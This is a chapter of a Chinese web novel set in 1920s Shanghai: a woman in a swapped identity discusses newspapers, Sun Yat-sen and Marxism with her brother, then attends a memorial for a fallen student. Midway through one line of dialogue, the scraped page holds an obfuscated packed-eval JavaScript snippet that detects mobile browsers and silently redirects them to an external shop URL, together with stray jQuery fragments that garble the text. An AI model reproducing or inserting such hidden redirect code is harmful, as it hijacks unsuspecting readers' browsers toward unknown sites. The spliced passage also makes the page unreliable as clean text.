33. 新生
    佐藤秀中之死占据各大报纸头条,新闻铺天盖地,传遍街头巷尾。

    愚园路公寓,蕴青瞥了一眼报纸,很快放下,仿佛并不关心这则消息。

    “哥哥,今天吃什么?”她溜达进厨房,探头探脑。像小狗似的猛嗅,“你在做红烧排骨!”

    尤怀瑾熟练地烹调菜品,唇角含笑:“鼻子倒是灵。”

    这些天,蕴青顶着怜青的身份很是适应,跟着尤怀瑾搬进小公寓楼。这里虽比不得关宅的奢阔,却也干净整洁,条件并不十分艰苦。最令蕴青满意的是尤怀瑾竟然会做饭!

    要知道,即便如今是民国,大多男人仍然信奉君子远庖厨那一套理论,能有一个会下厨的男子,实在难得。

    “今日的报纸送过来了吗?”尤怀瑾问。

    蕴青点头,随手拿过方才的报纸,“没有新鲜事,左不过还是那个日本人的消息。我念给你听。”

    尤怀瑾并不反驳:“时事倒不要紧,只是怕错过哪处的招聘告示。”

    蕴青不疑有他:“哦。”

    尤怀瑾原来在一家报社做专职记者兼撰稿人,时常要出差,且大多与政界人士打交道,放在敏感的时局,一不小心就要惹祸上身。因此他这次回来就借口身体不适向主编提出辞职。

    窗外绿藤爬上红砖墙,自玻璃窗边探出头来,正午阳光洒进屋里,照着尤怀瑾的侧脸。他忽然偏头,正对上蕴青的目光,“尝尝咸淡,还要加料吗?”

    蕴青就着他递过来的的筷子咬了一口,入口鲜美,滋味很好,她竖起大拇指,赞叹道:“顶好!”

    尤怀瑾笑了笑,“接着念吧。”

    餐厅桌边,蕴青语调清晰,逐字念着无趣乏味的报纸广告,却也显得动听。开着门的厨房内,尤怀瑾挽着长衫袖子,露出骨节分明的手,有条不紊地切菜。锅里的红烧排骨散发浓郁的香气,灶上炖着土鸡汤,正咕噜咕噜冒泡。

    念完公告,又一连读了几条新闻,蕴青不时俏皮点评几句。

    “刘家某少爷不满家族订下包办婚姻,特登报与父母断绝关系,并在外另娶一女学生为妻。唉,他倒是反抗封建礼教了,只是家中女子何其无辜。”

    “永安百货公司新近要举办摩登时装秀,请了电影皇后做模特,时间定在这周末,嘶……”她正想说要去瞧瞧,忽而意识到这不该是怜青所为,便又吞回去,“……有趣,新鲜,不知时装秀是什么。”

    尤怀瑾道:“你可以去看一看。”

    “嗯。”蕴青装作若无其事,看向下一条,煞有介事道:“大新闻。有人说锐锋笔客许久不发表文章,是因为遭遇暗杀!这人分析得头头是道,真有几分可信。他的文章我也看过,很有见地,倘若真出了事,学生们又要闹起来了。”

    “道听途说,不见得可信。”

    尤怀瑾低垂着头,袖子底下露出一道疤痕,他不动声色地遮住。

    “嗯,有道理。他倒也神秘,听说没有人见过他,连接收投稿的报社都只是与他信件往来,不曾会面。想来当局就算要除掉他,也很有难度。”

    说完,蕴青便将话题撂开,复又看向头条结尾。“佐藤秀中突发疾病身亡”几个大字占据最顶端,内容最后简明扼要地写着——本次游行以民众的胜利告终。

    蕴青反复看了几遍才放下报纸,懒洋洋托着腮,目光投向窗外。季维的脸浮现在脑海中,似乎能够想象他听见这个消息的反应,一定笑得张扬开怀,大手一挥邀请她们都去家里吃饭。

    这么想着,连唇角都不自觉上扬。

    “什么事这样高兴?”尤怀瑾问。

    “大约是天气好。”蕴青指着外头的阳光,“你瞧,等了许久的晴天,总算要来了。”

    尤怀瑾看着阳光下的绿藤,眼眸中也染了笑意,“一切都会好起来。”

    蕴青听他话中意有所指,忽然问:“哥哥从前在报社做事,想必对时事很清楚,依你之见,我们……真的会好起来吗?”

    尤怀瑾回头看她:“你近日看过了许多书?”

    蕴青想了想,含糊道:“嗯,跟着关小姐看的,只是粗略地读,知道当今局势罢了。”

    “不错。”尤怀瑾赞赏一句,又说道:“那你可知道,民国二字的含义?”

    蕴青眸光微动:“民国者,民之国也,为民而设,由民而治者也。”

    她顿了顿,又说:“可是如今的民国,有哪个在为民着想?军、阀不必说,不久前还在打仗。虽是打着保境安民的旗号,可兵祸所至之地,十室九空,受苦的都是民国之民。”

    “报纸上都在宣扬游行的胜利,政客嘴脸一变,将之当作自己的功劳。少有人记得,这样的结果是有人用命换来的。当初若没有团结一心,怎么会有得之不易的结果?”蕴青声音低了下去,“有时候,我不敢相信他们口中的为国为民。”

    尤怀瑾看了她许久,复又低头擦手,似乎在思索什么。片刻后,他问:“你知道三民主义吗?”

    蕴青微怔,很快反问:“什么意思?”

    尤怀瑾没有回答:“读过共产党宣言吗?”

    蕴青眸光极亮,可她知道自己现在是怜青,于是只好按下心头的微妙情绪,“哥哥读过?可是这些都是极敏感的话题……”

    “所以我们关起门来说。”尤怀瑾示意噤声,自厨房端上菜肴,笑道,“上菜了,先吃饭。一边吃一边解答你的问题好不好?”

    随后的时间里,尤怀瑾从历史讲起,延伸到目前局势与各种新思想的来源与现状。蕴青直听得眼睛发亮,一连探讨了许多问题。

    “……远到巴黎和会、近到眼下的游行,民众的力量越来越强大,这是历史潮流,无可违逆。”尤怀瑾说,“去岁,孙先生建立黄埔军校,北伐势在必行。无论是三民主义还是马克思主义,二者拧成一股绳,这一刻都只为救国而生。所以你方才问,未来是否会好起来,我想你心中应该有了答案。”

    不知怎么,蕴青觉得胸口有一股热意上涌,眼眶泛红。她赶忙撇开头,正对上窗外的暖红的夕阳。

    从午后聊到夕阳西下,二人都不觉疲惫。这会儿才意识到时间的漫长。

    蕴青唇边带笑,起身推开窗,展开双臂拥抱阳光。

    “你说得对,一切都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284028|151983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会好起来!”

    尤怀瑾坐在桌边瞧她,目光温柔,“嗯。”

    清风悄然潜入,吹起墙壁上的挂历,这一幕似乎就此定格——那是乙丑年,一个寻常的秋日。

    桂花飘香,阳光扫去暮气,迎来希望。

    -

    一睁眼,看见熟悉的床帐顶,蕴青便知道自己换回来了。

    她呆愣几秒,在心底轻唤:【怜青?】

    前些天一直断开的心灵通讯,这会儿又连接上。

    【蕴青,我听得见。】

    另一边,怜青看见自家兄长的背影,一时竟有些紧张。

    “怎么了?不舒服?”尤怀瑾端过一碟云片糕,见妹妹目光呆愣,不由得问道。

    “没有。”

    怜青低下头,下意识接过云片糕,小口吃完一整块。

    尤怀瑾愣了数秒,忽然问:“你前几天不是突然不爱吃了吗?”

    怜青怔住,立时知道是蕴青不爱吃,赶忙道:“前几天不想吃太甜的,这会子又觉得嘴里没味道。”

    尤怀瑾眸光淡淡,并不多言,只笑着走开。

    怜青悄悄松了一口气,起身道:“哥哥,我约了蕴青有事,先出门一趟。”

    “好,你去吧。早些回来。”

    “嗯!”

    -

    熟悉的弄堂小院里,斯人已逝,白幡撤去,短短半月物是人非。

    蕴青和怜青到达的时候,徐韦民和季亭等年轻人已经站在庭院中。

    徐韦民眼含热泪:“季兄,你的牺牲是有价值的,我们永远铭记于心。”

    众学子眼眶通红,逐个上前祭拜,气氛沉重肃穆。

    怜青望向角落,季亭剪短了头发,面容坚毅,神情与她的兄长越发相像。

    看到二女,季亭露出一个笑,挥了挥手:“关小姐,尤小姐。”

    三人走到房间里谈话。

    “小亭,你还好吗?”怜青关切道。

    季亭扯开一抹笑,说:“我很好,妈也很好。这次运动之后,我加入了社会主义青年团,和徐大哥他们一起做事。关小姐,很抱歉,我想我还是暂时留在女子中学念书,这样可以就近照顾我妈,也能和我的团员们一起行动。”

    “不用抱歉,那都是小事。你之后如果想上大学,有什么困难都可以来找我。”蕴青说道,“还有……”

    她本想叮嘱行事小心之类的话,可到嘴边却又停住,勾起一个笑,“尽管去做自己想做的事情吧。”

    季亭回以微笑,眸中有光亮,“嗯!”

    “季亭。”

    外面有人喊她,年轻的学生们都看向这边,他们似乎在谈论什么话题,争论得很激烈,脸上却充满着朝气。

    “二位小姐,我先走了。”

    季亭步伐坚定地离开,短发在风中轻扬,英姿飒爽。

    蕴青和怜青一同祭拜了季维。

    摸出那枚钥匙,怜青看着少年的黑白相片,忽而觉得他没有走远。

    “谢谢你的钥匙。”她深深地鞠躬,许久才直起身。

    “让我打开了那把锁。”